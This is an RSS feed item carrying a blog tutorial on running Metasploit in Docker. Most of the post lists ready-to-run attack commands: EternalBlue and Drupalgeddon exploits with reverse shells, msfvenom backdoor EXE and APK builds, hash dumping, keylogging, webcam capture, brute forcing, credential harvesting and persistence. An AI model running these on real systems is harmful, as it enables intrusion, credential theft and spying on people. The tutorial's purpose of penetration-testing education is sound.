<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>reverseshell - Hamradio.my</title>
	<atom:link href="https://hamradio.my/tag/reverseshell/feed/" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Amateur Radio, Tech Insights and Product Reviews</description>
	<lastBuildDate>Wed, 02 Jul 2025 03:56:08 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0</generator>

<image>
	<url>https://hamradio.my/wp-content/uploads/2026/02/cropped-cropped-image-removebg-preview-3-32x32.png</url>
	<title>reverseshell - Hamradio.my</title>
	<link></link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Penetration Testing with Metasploit Docker Image</title>
		<link>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/</link>
					<comments>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 01 Jul 2025 17:58:53 +0000</pubDate>
				<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[digital security]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[penetration testing]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[cybersec]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockersecurity]]></category>
		<category><![CDATA[ethicalhacker]]></category>
		<category><![CDATA[ethicalhacking]]></category>
		<category><![CDATA[exploitdev]]></category>
		<category><![CDATA[hackingtools]]></category>
		<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[linuxsecurity]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploitdocker]]></category>
		<category><![CDATA[metasploitframework]]></category>
		<category><![CDATA[msfconsole]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[networksecurity]]></category>
		<category><![CDATA[offensivesecurity]]></category>
		<category><![CDATA[payloadgeneration]]></category>
		<category><![CDATA[penetrationtesting]]></category>
		<category><![CDATA[postexploitation]]></category>
		<category><![CDATA[privilegeescalation]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[reverseshell]]></category>
		<category><![CDATA[securityresearch]]></category>
		<category><![CDATA[socialengineering]]></category>
		<category><![CDATA[vulnerabilityassessment]]></category>
		<category><![CDATA[vulnhub]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8152</guid>

					<description><![CDATA[<p>🛠️ What is Metasploit Framework? The Metasploit Framework is one of the most powerful and widely used penetration testing tools in the cybersecurity world. It provides security professionals, researchers, and ethical hackers with an extensive set of tools to test system vulnerabilities, exploit known weaknesses, and develop custom exploits. Whether you&#8217;re simulating attacks for learning [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/">Penetration Testing with Metasploit Docker Image</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> What is Metasploit Framework?</h2>



<p class="wp-block-paragraph">The Metasploit Framework is one of the most powerful and widely used penetration testing tools in the cybersecurity world. It provides security professionals, researchers, and ethical hackers with an extensive set of tools to test system vulnerabilities, exploit known weaknesses, and develop custom exploits. Whether you&#8217;re simulating attacks for learning purposes or conducting professional red team assessments, Metasploit offers a flexible and modular environment tailored for the job.</p>



<p class="wp-block-paragraph">Developed and maintained by Rapid7, the framework supports thousands of exploits, payloads, encoders, and post-exploitation modules. From network scanning to privilege escalation, Metasploit remains a go-to toolkit for anyone serious about offensive security.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Metasploit in Docker: Portable Pen Testing</h2>



<p class="wp-block-paragraph">If you&#8217;re looking for an easy way to run Metasploit without setting it up from scratch, you&#8217;re in luck. The official Docker image, <code>metasploitframework/metasploit-framework</code>, lets you run the full framework in a containerized environment—no need to deal with complex dependencies or installation headaches.</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Use the Docker Image?</h3>



<p class="wp-block-paragraph">Running Metasploit via Docker offers several benefits:</p>



<ul class="wp-block-list">
<li><strong>Quick Setup</strong>: Pull the image and go—no need to install Ruby or configure PostgreSQL.</li>



<li><strong>Isolation</strong>: Keeps your host system clean by running everything in a sandboxed container.</li>



<li><strong>Portability</strong>: Move your pen-testing toolkit anywhere Docker runs.</li>
</ul>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Getting Started</h3>



<p class="wp-block-paragraph">To get started, just run:</p>



<pre class="wp-block-code"><code>docker pull metasploitframework/metasploit-framework
</code></pre>



<p class="wp-block-paragraph">This will download the latest available image (last updated over a year ago at the time of writing), which is around <strong>715 MB</strong> in size. While it&#8217;s not the most lightweight image, it includes everything you need to start using Metasploit right away.</p>



<p class="wp-block-paragraph">Once downloaded, you can launch Metasploit like this:</p>



<pre class="wp-block-code"><code>docker run -it metasploitframework/metasploit-framework
</code></pre>



<p class="wp-block-paragraph">You’ll be dropped into <code>msfconsole</code>, the interactive command-line interface for Metasploit. From there, you can begin scanning, exploiting, and exploring.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Metasploit Use Cases</h2>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50e.png" alt="🔎" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 1. <strong>Information Gathering</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> TCP Port Scan</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set THREADS 50
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Banner Grabbing</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.105
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SMB Version Detection</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.105
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a5.png" alt="💥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2. <strong>Exploitation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> EternalBlue (MS17-010)</h4>



<pre class="wp-block-code"><code>use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.99
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6a8.png" alt="🚨" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Exploiting a Web Server (Drupalgeddon)</h4>



<pre class="wp-block-code"><code>use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.1.120
set TARGETURI /drupal
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.99
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f41a.png" alt="🐚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 3. <strong>Payload Generation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Windows Reverse Shell EXE</h4>



<pre class="wp-block-code"><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=4444 -f exe &gt; shell.exe
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Android Backdoor APK</h4>



<pre class="wp-block-code"><code>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=4444 -o backdoor.apk
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 4. <strong>Post-Exploitation</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Dump Windows Hashes</h4>



<pre class="wp-block-code"><code>meterpreter &gt; hashdump
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Record Keystrokes</h4>



<pre class="wp-block-code"><code>meterpreter &gt; keyscan_start
meterpreter &gt; keyscan_dump
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Take Webcam Snapshot</h4>



<pre class="wp-block-code"><code>meterpreter &gt; webcam_snap
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Escalate Privileges (Local Exploit Suggestor)</h4>



<pre class="wp-block-code"><code>run post/multi/recon/local_exploit_suggester
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f575.png" alt="🕵" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 5. <strong>Brute Force Attacks</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SSH Brute Force</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.105
set USERNAME root
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> SMB Login Bruteforce</h4>



<pre class="wp-block-code"><code>use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.0/24
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f1.png" alt="🧱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 6. <strong>Pivoting / Routing</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Add Route via Compromised Session</h4>



<pre class="wp-block-code"><code>route add 192.168.2.0 255.255.255.0 1
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f504.png" alt="🔄" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Use SOCKS Proxy via Metasploit</h4>



<pre class="wp-block-code"><code>use auxiliary/server/socks_proxy
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e1.png" alt="📡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 7. <strong>Social Engineering Attacks</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3a3.png" alt="🎣" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Clone a Login Page (Credential Harvesting)</h4>



<pre class="wp-block-code"><code>use auxiliary/server/capture/http_basic
set REALM "Login Required"
set SRVPORT 8080
set URIPATH /
run
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f916.png" alt="🤖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 8. <strong>Automation with Resource Scripts</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dc.png" alt="📜" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Auto-Run Script Example</h4>



<p class="wp-block-paragraph">Create <code>exploit.rc</code>:</p>



<pre class="wp-block-code"><code>use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.105
set LHOST 192.168.1.99
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
</code></pre>



<p class="wp-block-paragraph">Then run:</p>



<pre class="wp-block-code"><code>msfconsole -r exploit.rc
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 9. <strong>Maintaining Access</strong></h3>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ec.png" alt="🧬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Persistent Reverse Shell</h4>



<pre class="wp-block-code"><code>run persistence -U -i 5 -p 4444 -r 192.168.1.99
</code></pre>



<h4 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c2.png" alt="📂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Upload and Execute Payload Later</h4>



<pre class="wp-block-code"><code>meterpreter &gt; upload shell.exe C:\\Users\\Victim\\AppData\\Roaming\\
meterpreter &gt; execute -f C:\\Users\\Victim\\AppData\\Roaming\\shell.exe
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 10. <strong>Exploit Development</strong></h3>



<pre class="wp-block-code"><code>cd ~/.msf4/modules/exploits/custom/
nano my_custom_exploit.rb
# Write module using Ruby, then reload
msfconsole &gt; reload_all
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Reminder</h2>



<p class="wp-block-paragraph">These commands are for <strong>educational and authorized use only</strong>. Always have permission before testing on any network or system.</p>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Resources</h2>



<p class="wp-block-paragraph">Metasploit comes with an active development community and plenty of documentation:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Official Site: <a href="https://metasploit.com">https://metasploit.com</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9ea.png" alt="🧪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> GitHub Repo: <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f41b.png" alt="🐛" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bug Reports: <a href="https://r-7.co/MSF-BUGv1">https://r-7.co/MSF-BUGv1</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4da.png" alt="📚" class="wp-smiley" style="height: 1em; max-height: 1em;" /> API Docs: <a href="https://rapid7.github.io/metasploit-framework/api">https://rapid7.github.io/metasploit-framework/api</a></li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4d8.png" alt="📘" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Tutorials: <a href="https://www.offensive-security.com/metasploit-unleashed/">Metasploit Unleashed</a> and <a href="https://github.com/rapid7/metasploit-framework/wiki">community wiki</a></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f465.png" alt="👥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Contributing to Metasploit</h2>



<p class="wp-block-paragraph">Interested in contributing? Head to the <a href="https://github.com/rapid7/metasploit-framework/wiki/Development-Environment">Dev Environment Setup Guide</a> on GitHub. It walks you through installing dependencies, setting up your local environment, and submitting pull requests.</p>



<p class="wp-block-paragraph">Metasploit is open-source and welcomes contributors—from seasoned developers to hobbyist hackers—so don’t hesitate to get involved.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e9.png" alt="🧩" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">The Metasploit Docker image makes it easier than ever to start hacking—legally and ethically, of course. Whether you&#8217;re testing your own systems or learning how attackers operate, having a containerized version of Metasploit streamlines the process and gets you into <code>msfconsole</code> faster than ever.</p>
<p>The post <a href="https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/">Penetration Testing with Metasploit Docker Image</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/penetration-testing-with-metasploit-docker-image/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
